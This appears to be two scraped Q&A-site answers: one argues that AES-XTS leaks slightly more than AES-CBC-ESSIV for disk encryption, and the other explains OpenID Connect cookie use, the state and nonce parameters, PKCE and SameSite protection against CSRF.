There is no security advantage to AES-XTS over AES-CBC-ESSIV—in fact, in the standard threat model for disk encryption (an adversary can read multiple snapshots of a disk, e.g. because of bad sectors on spinning rust or wear-leveling in an SSD), XTS leaks slightly more information than CBC-ESSIV: XTS leaks exactly which blocks in each disk sector didn't change, whereas CBC-ESSIV leaks only which leading blocks of each disk sector didn't change.  Here a ‘block’ is the block size of the underlying block cipher—16 bytes, for AES—and ‘disk sector’ is the smallest unit of I/O on the underlying storage medium—typically 512 bytes or 4096 bytes.

For example, suppose you write disk sector 8137 twice, first with the text foo bar baz qux zot, and then with the text foo barbaxqux zot.  If we pretend a cipher block is a single word, then:

Under XTS, the two versions of disk sector 8137 will look like:

dbk iww dfv ngv jus
dbk iwwoywngv jus

Under CBC-ESSIV, the two versions of disk sector 8137 will look like:

dbk iww dfv ngv jus
dbk iwwoyw bst kib

That is, changing a single cipher block in the plaintext under XTS changes only the corresponding block in the ciphertext, whereas under CBC-ESSIV it also changes all subsequent blocks.  So the XTS adversary can tell exactly which blocks you changed, but in CBC-ESSIV the adversary can only tell how far along in the disk sector the changes started—they can't tell whether you changed one block, or two blocks, or all of the final blocks.

The only reason to prefer AES-XTS is that there's a United States federal government standard for it, unlike AES-CBC-ESSIV, and nobody in the Western world was ever fired for choosing a United States federal government standard for cryptography.

I am not sure what the text you quoted is on about, but here are my two best guesses:

For some reason, dm-crypt foolishly passes TRIM commands through for disks configured to use aes-cbc-essiv, but not for disks configured to use aes-xts-plain64.
A message got garbled along the way, and the author of the Arch Linux wiki page thought that aes-cbc-essiv is subject to the standard watermarking attack on aes-cbc-plain…which was the motivation for aes-cbc-essiv in the first place.


Is normal that a web site which use OpenID as SSO sends all the cookie without samesite header? Is normal that a web site which uses OpenID as SSO sends all the cookie without samesite header?
Is this required in order to make OpenID work correctly?

Usage of cookies in OAuth and OpenID Connect
There are two kind of cookies used in SSO context: Authorization Server (AS) cookies and Client cookies (the web service is called client in this context). I think you refere to the latter one.
In OAuth, cookies are traditionally used in combination with the state parameter to protect against CSRF, as written in the OAuth 2.0 RFC (which also explains the basic CSRF scenario):

The client MUST implement CSRF protection for its redirection URI.
This is typically accomplished by requiring any request sent to the
redirection URI endpoint to include a value that binds the request to
the user-agent's authenticated state (e.g., a hash of the session
cookie used to authenticate the user-agent).  The client SHOULD
utilize the "state" request parameter to deliver this value to the
authorization server when making an authorization request.

For OpenID Connect, the state parameter is used exactly the same way, as stated in the OpenID Connect Core Specification:

state: RECOMMENDED. Opaque value used to maintain state between the request and the callback. Typically, Cross-Site Request Forgery (CSRF, XSRF) mitigation is done by cryptographically binding the value of this parameter with a browser cookie.

Further, OpenID Connect also uses a nonce parameter, which can be also used in combination with a cookie, c.f. Section 15.5.2.:

The nonce parameter value needs to include per-session state [...] One method to achieve this for Web Server Clients is to store a cryptographically random value as an HttpOnly session cookie and use a cryptographic hash of the value as the nonce parameter. In that case, the nonce in the returned ID Token is compared to the hash of the session cookie to detect ID Token replay by third parties. A related method applicable to JavaScript Clients is to store the cryptographically random value in HTML5 local storage and use a cryptographic hash of this value.

So I would not agree with Conors first point and would resume that it is nothing special a service implementing OpenID Connect SSO uses cookies.
Function of SameSite Cookies
The SameSite Cookie is primarly protecting the cookie against CSRF. As Conor worte in his answer, this is a relatively new cookie option introduced in 2016. Recent changes in its specification (2020) changed the default value to SameSite=Lax, which delivers a decent protection against CSRF even if SameSite is not set explicitly.
Is a SameSite Cookie needed to secure OpenID Connect?
Clearly, it is possible to implement OpenID Connect with SameSite cookies. But the lack of a SameSite=Strict parameter does not mean that the site is vulnerable. There might be reasons to use only the SameSite=Lax protection. There are also secure ways to not use any cookies, e.g. PKCE is a secure (and recommended) alternative to the cookie usage scenarios named above.